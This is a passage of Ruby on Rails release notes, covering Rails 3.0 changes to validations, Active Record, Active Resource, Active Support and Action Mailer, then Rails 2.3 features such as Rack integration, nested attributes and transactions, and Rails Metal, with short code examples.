- :format => { :with => Regexp, :on => :create }.

- :length => { :maximum => Fixnum }.

- :numericality => Boolean.

- :presence => Boolean.

- :uniqueness => Boolean.

All the Rails version 2.3 style validation methods are still supported in Rails 3.0, the new validates method is designed as an additional aid in your model validations, not a replacement for the existing API.

You can also pass in a validator object, which you can then reuse between objects that use Active Model:

class TitleValidator < ActiveModel::EachValidator
Titles = ['Mr.', 'Mrs.', 'Dr.']
def validate_each(record, attribute, value)
unless Titles.include?(value)
record.errors[attribute] << 'must be a valid title'
end
end
end

class Person
include ActiveModel::Validations
attr_accessor :title
validates :title, :presence => true, :title => true
end

# Or for Active Record

class Person < ActiveRecord::Base
validates :title, :presence => true, :title => true
end

There's also support for introspection:

User.validators
User.validators_on(:login)

More Information:

- Sexy Validation in Rails 3

- Rails 3 Validations Explained

9 Active Record

Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.

9.1 Query Interface

Active Record, through the use of Arel, now returns relations on its core methods. The existing API in Rails 2.3.x is still supported and will not be deprecated until Rails 3.1 and not removed until Rails 3.2, however, the new API provides the following new methods that all return relations allowing them to be chained together:

- where - provides conditions on the relation, what gets returned.

- select - choose what attributes of the models you wish to have returned from the database.

- group - groups the relation on the attribute supplied.

- having - provides an expression limiting group relations (GROUP BY constraint).

- joins - joins the relation to another table.

- clause - provides an expression limiting join relations (JOIN constraint).

- includes - includes other relations pre-loaded.

- order - orders the relation based on the expression supplied.

- limit - limits the relation to the number of records specified.

- lock - locks the records returned from the table.

- readonly - returns an read only copy of the data.

- from - provides a way to select relationships from more than one table.

- scope - (previously named_scope) return relations and can be chained together with the other relation methods.

- with_scope - and with_exclusive_scope now also return relations and so can be chained.

- default_scope - also works with relations.

More Information:

- Active Record Query Interface

- Let your SQL Growl in Rails 3

9.2 Enhancements

- Added :destroyed? to Active Record objects.

- Added :inverse_of to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database.

9.3 Patches and Deprecations

Additionally, many fixes in the Active Record branch:

- SQLite 2 support has been dropped in favor of SQLite 3.

- MySQL support for column order.

- PostgreSQL adapter has had its TIME ZONE support fixed so it no longer inserts incorrect values.

- Support multiple schemas in table names for PostgreSQL.

- PostgreSQL support for the XML data type column.

- table_name is now cached.

- A large amount of work done on the Oracle adapter as well with many bug fixes.

As well as the following deprecations:

- named_scope in an Active Record class is deprecated and has been renamed to just scope.

- In scope methods, you should move to using the relation methods, instead of a :conditions => {} finder method, for example scope :since, lambda {|time| where("created_at > ?", time) }.

- save(false) is deprecated, in favor of save(:validate => false).

- I18n error messages for Active Record should be changed from :en.activerecord.errors.template to :en.errors.template.

- model.errors.on is deprecated in favor of model.errors[]

- validates_presence_of => validates... :presence => true

- ActiveRecord::Base.colorize_logging and config.active_record.colorize_logging are deprecated in favor of Rails::LogSubscriber.colorize_logging or config.colorize_logging

While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release.

10 Active Resource

Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly.

- Added validations through Active Model.

- Added observing hooks.

- HTTP proxy support.

- Added support for digest authentication.

- Moved model naming into Active Model.

- Changed Active Resource attributes to a Hash with indifferent access.

- Added first, last and all aliases for equivalent find scopes.

- find_every now does not return a ResourceNotFound error if nothing returned.

- Added save! which raises ResourceInvalid unless the object is valid?.

- update_attribute and update_attributes added to Active Resource models.

- Added exists?.

- Renamed SchemaDefinition to Schema and define_schema to schema.

- Use the format of Active Resources rather than the content-type of remote errors to load errors.

- Use instance_eval for schema block.

- Fix ActiveResource::ConnectionError#to_s when @response does not respond to #code or #message, handles Ruby 1.9 compatibility.

- Add support for errors in JSON format.

- Ensure load works with numeric arrays.

- Recognizes a 410 response from remote resource as the resource has been deleted.

- Add ability to set SSL options on Active Resource connections.

- Setting connection timeout also affects Net::HTTP open_timeout.

Deprecations:

- save(false) is deprecated, in favor of save(:validate => false).

- Ruby 1.9.2: URI.parse and .decode are deprecated and are no longer used in the library.

11 Active Support

A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer.

These are the main changes in Active Support:

- Large clean up of the library removing unused methods throughout.

- Active Support no longer provides vendored versions of TZInfo, Memcache Client and Builder. These are all included as dependencies and installed via the bundle install command.

- Safe buffers are implemented in ActiveSupport::SafeBuffer.

- Added Array.uniq_by and Array.uniq_by!.

- Removed Array#rand and backported Array#sample from Ruby 1.9.

- Fixed bug on TimeZone.seconds_to_utc_offset returning wrong value.

- Added ActiveSupport::Notifications middleware.

- ActiveSupport.use_standard_json_time_format now defaults to true.

- ActiveSupport.escape_html_entities_in_json now defaults to false.

- Integer#multiple_of? accepts zero as an argument, returns false unless the receiver is zero.

- string.chars has been renamed to string.mb_chars.

- ActiveSupport::OrderedHash now can de-serialize through YAML.

- Added SAX-based parser for XmlMini, using LibXML and Nokogiri.

- Added Object#presence that returns the object if it's #present? otherwise returns nil.

- Added String#exclude? core extension that returns the inverse of #include?.

- Added to_i to DateTime in ActiveSupport so to_yaml works correctly on models with DateTime attributes.

- Added Enumerable#exclude? to bring parity to Enumerable#include? and avoid if !x.include?.

- Switch to on-by-default XSS escaping for rails.

- Support deep-merging in ActiveSupport::HashWithIndifferentAccess.

- Enumerable#sum now works will all enumerables, even if they don't respond to :size.

- inspect on a zero length duration returns '0 seconds' instead of empty string.

- Add element and collection to ModelName.

- String#to_time and String#to_datetime handle fractional seconds.

- Added support to new callbacks for around filter object that respond to :before and :after used in before and after callbacks.

- The ActiveSupport::OrderedHash#to_a method returns an ordered set of arrays. Matches Ruby 1.9's Hash#to_a.

- MissingSourceFile exists as a constant but it is now just equal to LoadError.

- Added Class#class_attribute, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses.

- Finally removed DeprecatedCallbacks in ActiveRecord::Associations.

- Object#metaclass is now Kernel#singleton_class to match Ruby.

The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9.

- Integer#even? and Integer#odd?

- String#each_char

- String#start_with? and String#end_with? (3rd person aliases still kept)

- String#bytesize

- Object#tap

- Symbol#to_proc

- Object#instance_variable_defined?

- Enumerable#none?

The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not.

The following methods have been removed because they are no longer used in the framework:

- Kernel#daemonize

- Object#remove_subclasses_of Object#extend_with_included_modules_from, Object#extended_by

- Class#remove_class

- Regexp#number_of_captures, Regexp.unoptionalize, Regexp.optionalize, Regexp#number_of_captures

12 Action Mailer

Action Mailer has been given a new API with TMail being replaced out with the new Mail as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably.

- All mailers are now in app/mailers by default.

- Can now send email using new API with three methods: attachments, headers and mail.

- Action Mailer now has native support for inline attachments using the attachments.inline method.

- Action Mailer emailing methods now return Mail::Message objects, which can then be sent the deliver message to send itself.

- All delivery methods are now abstracted out to the Mail gem.

- The mail delivery method can accept a hash of all valid mail header fields with their value pair.

- The mail delivery method acts in a similar way to Action Controller's respond_to, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed.

- You can pass a proc to the format.mime_type calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The render call inside the proc is from Abstract Controller and supports the same options.

- What were mailer unit tests have been moved to functional tests.

- Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem

- Action Mailer will auto encode email bodies and headers for you

Deprecations:

- :charset, :content_type, :mime_version, :implicit_parts_order are all deprecated in favor of ActionMailer.default :key => value style declarations.

- Mailer dynamic create_method_name and deliver_method_name are deprecated, just call method_name which now returns a Mail::Message object.

- ActionMailer.deliver(message) is deprecated, just call message.deliver.

- template_root is deprecated, pass options to a render call inside a proc from the format.mime_type method inside the mail generation block

- The body method to define instance variables is deprecated (body {:ivar => value}), just declare instance variables in the method directly and they will be available in the view.

- Mailers being in app/models is deprecated, use app/mailers instead.

More Information:

- New Action Mailer API in Rails 3

- New Mail Gem for Ruby

13 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails 3. Kudos to all of them.

Rails 3.0 Release Notes were compiled by Mikel Lindsaar.

Ruby on Rails 2.3 Release Notes — Ruby...

1 Application Architecture

There are two major changes in the architecture of Rails applications: complete integration of the Rack modular web server interface, and renewed support for Rails Engines.

1.1 Rack Integration

Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:

- Sessions

- Cookies

- File uploads

- JSON/XML APIs

Here's a summary of the rack-related changes:

- script/server has been switched to use Rack, which means it supports any Rack compatible server. script/server will also pick up a rackup configuration file if one exists. By default, it will look for a config.ru file, but you can override this with the -c switch.

- The FCGI handler goes through Rack.

- ActionController::Dispatcher maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in environment.rb.

- The rake middleware task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.

- The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.

- ActionController::CGIHandler is a backwards compatible CGI wrapper around Rack. The CGIHandler is meant to take an old CGI object and convert its environment information into a Rack compatible form.

- CgiRequest and CgiResponse have been removed.

- Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).

- You no longer need to use CGI::Cookie.new in your tests for setting a cookie value. Assigning a String value to request.cookies["foo"] now sets the cookie as expected.

- CGI::Session::CookieStore has been replaced by ActionController::Session::CookieStore.

- CGI::Session::MemCacheStore has been replaced by ActionController::Session::MemCacheStore.

- CGI::Session::ActiveRecordStore has been replaced by ActiveRecord::SessionStore.

- You can still change your session store with ActionController::Base.session_store = :active_record_store.

- Default sessions options are still set with ActionController::Base.session = { :key => "..." }. However, the :session_domain option has been renamed to :domain.

- The mutex that normally wraps your entire request has been moved into middleware, ActionController::Lock.

- ActionController::AbstractRequest and ActionController::Request have been unified. The new ActionController::Request inherits from Rack::Request. This affects access to response.headers['type'] in test requests. Use response.content_type instead.

- ActiveRecord::QueryCache middleware is automatically inserted onto the middleware stack if ActiveRecord has been loaded. This middleware sets up and flushes the per-request Active Record query cache.

- The Rails router and controller classes follow the Rack spec. You can call a controller directly with SomeController.call(env). The router stores the routing parameters in rack.routing_args.

- ActionController::Request inherits from Rack::Request.

- Instead of config.action_controller.session = { :session_key => 'foo', ... use config.action_controller.session = { :key => 'foo', ....

- Using the ParamsParser middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any Rack::Request object after it.

1.2 Renewed Support for Rails Engines

After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your routes.rb file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.

2 Documentation

The Ruby on Rails guides project has published several additional guides for Rails 2.3. In addition, a separate site maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the Rails wiki and early planning for a Rails Book.

- More Information: Rails Documentation Projects

3 Ruby 1.9.1 Support

Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core.

4 Active Record

Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.

4.1 Nested Attributes

Active Record can now update the attributes on nested models directly, provided you tell it to do so:

class Book < ActiveRecord::Base
has_one :author
has_many :pages

accepts_nested_attributes_for :author, :pages
end

Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).

You can also specify requirements for any new records that are added via nested attributes using the :reject_if option:

accepts_nested_attributes_for :author,
:reject_if => proc { |attributes| attributes['name'].blank? }

- Lead Contributor: Eloy Duran

- More Information: Nested Model Forms

4.2 Nested Transactions

Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:

User.transaction do
User.create(:username => 'Admin')
User.transaction(:requires_new => true) do
User.create(:username => 'Regular')
raise ActiveRecord::Rollback
end
end

User.find(:all)  # => Returns only Admin

Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the :requires_new option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are using savepoints so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.

- Lead Contributors: Jonathan Viney and Hongli Lai

4.3 Dynamic Scopes

You know about dynamic finders in Rails (which allow you to concoct methods like find_by_color_and_flavor on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like currently_active). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly and method chaining. For example:

Order.scoped_by_customer_id(12)
Order.scoped_by_customer_id(12).find(:all,
:conditions => "status = 'open'")
Order.scoped_by_customer_id(12).scoped_by_status("open")

There's nothing to define to use dynamic scopes: they just work.

- Lead Contributor: Yaroslav Markin

- More Information: What's New in Edge Rails: Dynamic Scope Methods

4.4 Default Scopes

Rails 2.3 will introduce the notion of default scopes similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write default_scope :order => 'name ASC' and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).

- Lead Contributor: Paweł Kondzior

- More Information: What's New in Edge Rails: Default Scoping

4.5 Batch Processing

You can now process large numbers of records from an Active Record model with less pressure on memory by using find_in_batches:

Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
customer_group.each { |customer| customer.update_account_balance! }
end

You can pass most of the find options into find_in_batches. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the :limit option. Instead, use the :batch_size option, which defaults to 1000, to set the number of records that will be returned in each batch.

The new find_each method provides a wrapper around find_in_batches that returns individual records, with the find itself being done in batches (of 1000 by default):

Customer.find_each do |customer|
customer.update_account_balance!
end

Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.

- More Information (at that point the convenience method was called just each):

- Rails 2.3: Batch Finding

- What's New in Edge Rails: Batched Find

4.6 Multiple Conditions for Callbacks

When using Active Record callbacks, you can now combine :if and :unless options on the same callback, and supply multiple conditions as an array:

before_save :update_credit_rating, :if => :active,
:unless => [:admin, :cash_only]

- Lead Contributor: L. Caviola

4.7 Find with having

Rails now has a :having option on find (as well as on has_many and has_and_belongs_to_many associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:

developers = Developer.find(:all, :group => "salary",
:having => "sum(salary) > 10000", :select => "salary")

- Lead Contributor: Emilio Tagua

4.8 Reconnecting MySQL Connections

MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set reconnect = true for your MySQL connections in database.yml to get this behavior from a Rails application. The default is false, so the behavior of existing applications doesn't change.

- Lead Contributor: Dov Murik

- More information:

- Controlling Automatic Reconnection Behavior

- MySQL auto-reconnect revisited

4.9 Other Active Record Changes

- An extra AS was removed from the generated SQL for has_and_belongs_to_many preloading, making it work better for some databases.

- ActiveRecord::Base#new_record? now returns false rather than nil when confronted with an existing record.

- A bug in quoting table names in some has_many :through associations was fixed.

- You can now specify a particular timestamp for updated_at timestamps: cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)

- Better error messages on failed find_by_attribute! calls.

- Active Record's to_xml support gets just a little bit more flexible with the addition of a :camelize option.

- A bug in canceling callbacks from before_update or before_create was fixed.

- Rake tasks for testing databases via JDBC have been added.

- validates_length_of will use a custom error message with the :in or :within options (if one is supplied).

- Counts on scoped selects now work properly, so you can do things like Account.scoped(:select => "DISTINCT credit_limit").count.

- ActiveRecord::Base#invalid? now works as the opposite of ActiveRecord::Base#valid?.

5 Action Controller

Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.

5.1 Unified Rendering

ActionController::Base#render is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:

render :file => '/tmp/random_file.erb'
render :template => 'other_controller/action'
render :action => 'show'

Now in Rails 2.3, you can just supply what you want to render:

render '/tmp/random_file.erb'
render 'other_controller/action'
render 'show'
render :show

Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (:inline, :text, :update, :nothing, :json, :xml, :js) still require an explicit option.

5.2 Application Controller Renamed

If you're one of the people who has always been bothered by the special-case naming of application.rb, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, rake rails:update:application_controller to do this automatically for you - and it will be run as part of the normal rake rails:update process.

- More Information:

- The Death of Application.rb

- What's New in Edge Rails: Application.rb Duality is no More

5.3 HTTP Digest Authentication Support

Rails now has built-in support for HTTP digest authentication. To use it, you call authenticate_or_request_with_http_digest with a block that returns the user's password (which is then hashed and compared against the transmitted credentials):

class PostsController < ApplicationController
Users = {"dhh" => "secret"}
before_filter :authenticate

def secret
render :text => "Password Required!"
end

private
def authenticate
realm = "Application"
authenticate_or_request_with_http_digest(realm) do |name|
Users[name]
end
end
end

- Lead Contributor: Gregg Kellogg

- More Information: What's New in Edge Rails: HTTP Digest Authentication

5.4 More Efficient Routing

There are a couple of significant routing changes in Rails 2.3. The formatted_ route helpers are gone, in favor just passing in :format as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the formatted_ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just routes.rb. You can use RouteSet#add_configuration_file to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.

- Lead Contributors: Aaron Batalion

5.5 Rack-based Lazy-loaded Sessions

A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.

5.6 MIME Type Handling Changes

There are a couple of changes to the code for handling MIME types in Rails. First, MIME::Type now implements the =~ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:

if content_type && Mime::JS =~ content_type
# do something cool
end

Mime::JS =~ "text/javascript"        => true
Mime::JS =~ "application/javascript" => true

The other change is that the framework now uses the Mime::JS when checking for JavaScript in various spots, making it handle those alternatives cleanly.

- Lead Contributor: Seth Fitzsimmons

5.7 Optimization of respond_to

In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the respond_to method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to method_missing and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple respond_to that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.

5.8 Improved Caching Performance

Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to MemCacheStore, it is available to any remote store than implements the required methods.

- Lead Contributor: Nahum Wild

5.9 Localized Views

Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a Posts controller with a show action. By default, this will render app/views/posts/show.html.erb. But if you set I18n.locale = :da, it will render app/views/posts/show.da.html.erb. If the localized template isn't present, the undecorated version will be used. Rails also includes I18n#available_locales and I18n::SimpleBackend#available_locales, which return an array of the translations that are available in the current Rails project.

In addition, you can use the same scheme to localize the rescue files in the public directory: public/500.da.html or public/404.en.html work, for example.

5.10 Partial Scoping for Translations

A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call translate(".foo") from the people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo") If you don't prepend the key with a period, then the API doesn't scope, just as before.

5.11 Other Action Controller Changes

- ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with send_file.

- The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set ActionController::Base.ip_spoofing_check = false to disable the check entirely.

- ActionController::Dispatcher now implements its own middleware stack, which you can see by running rake middleware.

- Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.

- You can now use symbols for the :type option of send_file and send_data, like this: send_file("fabulous.png", :type => :png).

- The :only and :except options for map.resources are no longer inherited by nested resources.

- The bundled memcached client has been updated to version 1.6.4.99.

- The expires_in, stale?, and fresh_when methods now accept a :public option to make them work well with proxy caching.

- The :requirements option now works properly with additional RESTful member routes.

- Shallow routes now properly respect namespaces.

- polymorphic_url does a better job of handling objects with irregular plural names.

6 Action View

Action View in Rails 2.3 picks up nested model forms, improvements to render, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.

6.1 Nested Object Forms

Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using form_for and field_for. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:

class Customer < ActiveRecord::Base
has_many :orders

accepts_nested_attributes_for :orders, :allow_destroy => true
end

You can write this view in Rails 2.3:

<% form_for @customer do |customer_form| %>
<div>
<%= customer_form.label :name, 'Customer Name:' %>
<%= customer_form.text_field :name %>
</div>

<!-- Here we call fields_for on the customer_form builder instance.
The block is called for each member of the orders collection. -->
<% customer_form.fields_for :orders do |order_form| %>
<p>
<div>
<%= order_form.label :number, 'Order Number:' %>
<%= order_form.text_field :number %>
</div>

<!-- The allow_destroy option in the model enables deletion of
child records. -->
<% unless order_form.object.new_record? %>
<div>
<%= order_form.label :_delete, 'Remove:' %>
<%= order_form.check_box :_delete %>
</div>
<% end %>
</p>
<% end %>

<%= customer_form.submit %>
<% end %>

- Lead Contributor: Eloy Duran

- More Information:

- Nested Model Forms

- complex-form-examples

- What's New in Edge Rails: Nested Object Forms

6.2 Smart Rendering of Partials

The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):

# Equivalent of render :partial => 'articles/_article',
# :object => @article
render @article

# Equivalent of render :partial => 'articles/_article',
# :collection => @articles
render @articles

- More Information: What's New in Edge Rails: render Stops Being High-Maintenance

6.3 Prompts for Date Select Helpers

In Rails 2.3, you can supply custom prompts for the various date select helpers (date_select, time_select, and datetime_select), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set :prompt to true to use the custom generic prompt:

select_datetime(DateTime.now, :prompt => true)

select_datetime(DateTime.now, :prompt => "Choose date and time")

select_datetime(DateTime.now, :prompt =>
{:day => 'Choose day', :month => 'Choose month',
:year => 'Choose year', :hour => 'Choose hour',
:minute => 'Choose minute'})

- Lead Contributor: Sam Oliver

6.4 AssetTag Timestamp Caching

You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the cache_asset_timestamps configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.

6.5 Asset Hosts as Objects

Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.

- More Information: asset-hosting-with-minimum-ssl

6.6 grouped_options_for_select Helper Method

Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: grouped_options_for_select. This one accepts an array or hash of strings, and converts them into a string of option tags wrapped with optgroup tags. For example:

grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
"Cowboy Hat", "Choose a product...")

returns

<option value="">Choose a product...</option>
<optgroup label="Hats">
<option value="Baseball Cap">Baseball Cap</option>
<option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
</optgroup>

6.7 Disabled Option Tags for Form Select Helpers

The form select helpers (such as select and options_for_select) now support a :disabled option, which can take a single value or an array of values to be disabled in the resulting tags:

select(:post, :category, Post::CATEGORIES, :disabled => 'private')

returns

<select name="post[category]">
<option>story</option>
<option>joke</option>
<option>poem</option>
<option disabled="disabled">private</option>
</select>

You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:

options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})

- Lead Contributor: Tekin Suleyman

- More Information: New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections

6.8 A Note About Template Loading

Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.

In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your production.rb file:

config.action_view.cache_template_loading = true

This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.

6.9 Other Action View Changes

- Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by ActiveSupport::SecureRandom rather than mucking around with session IDs.

- auto_link now properly applies options (such as :target and :class) to generated e-mail links.

- The autolink helper has been refactored to make it a bit less messy and more intuitive.

- current_page? now works properly even when there are multiple query parameters in the URL.

7 Active Support

Active Support has a few interesting changes, including the introduction of Object#try.

7.1 Object#try

A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like <%= @person.try(:name) %>. Well, now it's baked right into Rails. As implemented in Rails, it raises NoMethodError on private methods and always returns nil if the object is nil.

- More Information: try()

7.2 Object#tap Backport

Object#tap is an addition to Ruby 1.9 and 1.8.7 that is similar to the returning method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.

7.3 Swappable Parsers for XMLmini

The support for XML parsing in Active Support has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:

XmlMini.backend = 'LibXML'

- Lead Contributor: Bart ten Brinke

- Lead Contributor: Aaron Patterson

7.4 Fractional seconds for TimeWithZone

The Time and TimeWithZone classes include an xmlschema method to return the time in an XML-friendly string. As of Rails 2.3, TimeWithZone supports the same argument for specifying the number of digits in the fractional second part of the returned string that Time does:

>> Time.zone.now.xmlschema(6)
=> "2009-01-16T13:00:06.13653Z"

- Lead Contributor: Nicholas Dainty

7.5 JSON Key Quoting

If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.

7.6 Other Active Support Changes

- You can use Enumerable#none? to check that none of the elements match the supplied block.

- If you're using Active Support delegates the new :allow_nil option lets you return nil instead of raising an exception when the target object is nil.

- ActiveSupport::OrderedHash: now implements each_key and each_value.

- ActiveSupport::MessageEncryptor provides a simple way to encrypt information for storage in an untrusted location (like cookies).

- Active Support's from_xml no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.

- If you memoize a private method, the result will now be private.

- String#parameterize accepts an optional separator: "Quick Brown Fox".parameterize('_') => "quick_brown_fox".

- number_to_phone accepts 7-digit phone numbers now.

- ActiveSupport::Json.decode now handles \u0000 style escape sequences.

8 Railties

In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.

8.1 Rails Metal

Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.

- More Information:

- Introducing Rails Metal

- Rails Metal: a micro-framework with the power of Rails

- Metal: Super-fast Endpoints within your Rails Apps

- What's New in Edge Rails: Rails Metal

8.2 Application Templates

Rails 2.3 incorporates Jeremy McAnally's rg application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the rails command. There's also a rake task to apply a template to an existing application:

rake rails:template LOCATION=~/template.rb

This will layer the changes from the template on top of whatever code the project already contains.

- Lead Contributor: Jeremy McAnally

- More Info:Rails templates

8.3 Quieter Backtraces

Building on thoughtbot's Quiet Backtrace plugin, which allows you to selectively remove lines from Test::Unit backtraces, Rails 2.3 implements ActiveSupport::BacktraceCleaner and Rails::BacktraceCleaner in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a config/backtrace_silencers.rb file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.

8.4 Faster Boot Time in Development Mode with Lazy Loading/Autoload

